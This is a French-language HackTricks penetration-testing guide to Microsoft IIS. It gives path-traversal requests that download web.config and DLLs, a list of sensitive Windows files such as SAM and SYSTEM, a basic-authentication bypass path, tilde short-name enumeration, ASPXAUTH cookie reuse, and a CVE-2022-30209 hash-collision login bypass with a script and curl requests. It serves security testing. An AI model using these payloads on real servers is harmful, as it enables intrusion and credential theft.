hacktricks/network-services-pentesting/pentesting-web/iis-internet-information-services.md

286 lines
16 KiB
Markdown

# IIS - Internet Information Services
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
Testez les extensions de fichiers exécutables :
* asp
* aspx
* config
* php
## Divulgation de l'adresse IP interne
Sur n'importe quel serveur IIS où vous obtenez un 302, vous pouvez essayer de supprimer l'en-tête Host et d'utiliser HTTP/1.0 et à l'intérieur de la réponse, l'en-tête Location pourrait vous pointer vers l'adresse IP interne :
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
Réponse divulguant l'IP interne :
```
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
```
## Exécuter des fichiers .config
Vous pouvez télécharger des fichiers .config et les utiliser pour exécuter du code. Une façon de le faire est d'ajouter le code à la fin du fichier à l'intérieur d'un commentaire HTML : [Téléchargez l'exemple ici](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Plus d'informations et de techniques pour exploiter cette vulnérabilité [ici](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
## Bruteforce de découverte IIS
Téléchargez la liste que j'ai créée :
{% file src="../../.gitbook/assets/iisfinal.txt" %}
Elle a été créée en fusionnant le contenu des listes suivantes :
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
Utilisez-le sans ajouter d'extension, les fichiers qui en ont besoin l'ont déjà.
## Traversée de chemin
### Fuite de code source
Consultez l'analyse complète sur : [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
{% hint style="info" %}
En résumé, il y a plusieurs fichiers web.config à l'intérieur des dossiers de l'application avec des références aux fichiers "**assemblyIdentity**" et aux "**namespaces**". Avec ces informations, il est possible de savoir **où se trouvent les exécutables** et de les télécharger.\
À partir des **Dlls téléchargés**, il est également possible de trouver de **nouveaux namespaces** auxquels vous devriez essayer d'accéder et obtenir le fichier web.config afin de trouver de nouveaux namespaces et assemblyIdentity.\
De plus, les fichiers **connectionstrings.config** et **global.asax** peuvent contenir des informations intéressantes.\
{% endhint %}
Dans les applications **.Net MVC**, le fichier **web.config** joue un rôle crucial en spécifiant chaque fichier binaire sur lequel l'application repose à travers les balises XML **"assemblyIdentity"**.
### **Exploration des fichiers binaires**
Un exemple d'accès au fichier **web.config** est présenté ci-dessous :
```markup
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
Ce demande révèle divers paramètres et dépendances, tels que:
- Version d'**EntityFramework**
- **AppSettings** pour les pages web, la validation client et JavaScript
- Configurations de **System.web** pour l'authentification et l'exécution
- Paramètres des modules de **System.webServer**
- Liaisons d'assembly de **Runtime** pour de nombreuses bibliothèques comme **Microsoft.Owin**, **Newtonsoft.Json**, et **System.Web.Mvc**
Ces paramètres indiquent que certains fichiers, tels que **/bin/WebGrease.dll**, sont situés dans le dossier /bin de l'application.
### **Fichiers du Répertoire Racine**
Les fichiers trouvés dans le répertoire racine, comme **/global.asax** et **/connectionstrings.config** (qui contient des mots de passe sensibles), sont essentiels pour la configuration et le fonctionnement de l'application.
### **Espaces de Noms et Web.Config**
Les applications MVC définissent également des **fichiers web.config** supplémentaires pour des espaces de noms spécifiques afin d'éviter des déclarations répétitives dans chaque fichier, comme le montre une demande de téléchargement d'un autre **web.config**:
```markup
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **Téléchargement de DLLs**
La mention d'un espace de noms personnalisé suggère l'existence d'une DLL nommée "**WebApplication1**" présente dans le répertoire /bin. Ensuite, une requête pour télécharger le **WebApplication1.dll** est affichée:
```markup
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
Cela suggère la présence d'autres DLL essentielles, comme **System.Web.Mvc.dll** et **System.Web.Optimization.dll**, dans le répertoire /bin.
Dans un scénario où une DLL importe un espace de noms appelé **WebApplication1.Areas.Minded**, un attaquant pourrait déduire l'existence d'autres fichiers web.config dans des chemins prévisibles, tels que **/nom-de-la-zone/Views/**, contenant des configurations spécifiques et des références à d'autres DLL dans le dossier /bin. Par exemple, une requête vers **/Minded/Views/web.config** peut révéler des configurations et des espaces de noms indiquant la présence d'une autre DLL, **WebApplication1.AdditionalFeatures.dll**.
### Fichiers courants
Depuis [ici](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
## Erreur 404 HTTPAPI 2.0
Si vous voyez une erreur comme celle-ci :
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (13).png>)
Cela signifie que le serveur **n'a pas reçu le nom de domaine correct** dans l'en-tête Host.\
Pour accéder à la page web, vous pouvez consulter le **certificat SSL** fourni et peut-être trouver le nom de domaine/sous-domaine à l'intérieur. S'il n'est pas là, vous devrez peut-être **forcer VHosts** jusqu'à ce que vous trouviez le bon.
## Anciennes vulnérabilités IIS à rechercher
### Vulnérabilité/Fonctionnalité du caractère tilde “\~” de Microsoft IIS - Divulgation de noms de fichiers/dossiers courts
Vous pouvez essayer d'**énumérer les dossiers et fichiers** à l'intérieur de chaque dossier découvert (même s'il nécessite une authentification de base) en utilisant cette **technique**.\
La principale limitation de cette technique si le serveur est vulnérable est qu'elle **ne peut trouver que les 6 premières lettres du nom de chaque fichier/dossier et les 3 premières lettres de l'extension** des fichiers.
Vous pouvez utiliser [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) pour tester cette vulnérabilité : `java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../.gitbook/assets/image (183).png>)
Recherche originale : [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf)
Vous pouvez également utiliser **metasploit** : `use scanner/http/iis_shortname_scanner`
### Contournement de l'authentification de base
**Contournez** une authentification de base (**IIS 7.5**) en essayant d'accéder à : `/admin:$i30:$INDEX_ALLOCATION/admin.php` ou `/admin::$INDEX_ALLOCATION/admin.php`
Vous pouvez essayer de **combiner** cette **vulnérabilité** avec la précédente pour trouver de nouveaux **dossiers** et **contourner** l'authentification.
## Débogage activé Trace.AXD ASP.NET
ASP.NET inclut un mode de débogage et son fichier s'appelle `trace.axd`.
Il conserve un journal très détaillé de toutes les requêtes effectuées à une application sur une période donnée.
Ces informations incluent les adresses IP distantes des clients, les ID de session, tous les cookies de requête et de réponse, les chemins physiques, les informations de code source, et potentiellement même les noms d'utilisateur et les mots de passe.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
![Screenshot 2021-03-30 at 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png)
## Cookie ASPXAUTH
ASPXAUTH utilise les informations suivantes :
* **`validationKey`** (chaîne) : clé encodée en hexadécimal à utiliser pour la validation de la signature.
* **`decryptionMethod`** (chaîne) : (par défaut "AES").
* **`decryptionIV`** (chaîne) : vecteur d'initialisation encodé en hexadécimal (par défaut un vecteur de zéros).
* **`decryptionKey`** (chaîne) : clé encodée en hexadécimal à utiliser pour le déchiffrement.
Cependant, certaines personnes utiliseront les **valeurs par défaut** de ces paramètres et utiliseront comme **cookie l'e-mail de l'utilisateur**. Par conséquent, si vous trouvez un site web utilisant la **même plateforme** qui utilise le cookie ASPXAUTH et que vous **créez un utilisateur avec l'e-mail de l'utilisateur que vous souhaitez usurper** sur le serveur attaqué, vous pourrez peut-être utiliser **le cookie du deuxième serveur dans le premier** et usurper l'utilisateur.\
Cette attaque a fonctionné dans ce [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
## Contournement de l'authentification IIS avec des mots de passe mis en cache (CVE-2022-30209) <a href="#3-iis-authentication-bypass" id="3-iis-authentication-bypass"></a>
[Rapport complet ici](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html) : Un bogue dans le code **ne vérifiait pas correctement le mot de passe fourni par l'utilisateur**, donc un attaquant dont le **hachage de mot de passe correspond à une clé** déjà dans le **cache** pourra se connecter en tant qu'utilisateur.
```python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
```
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
D'autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>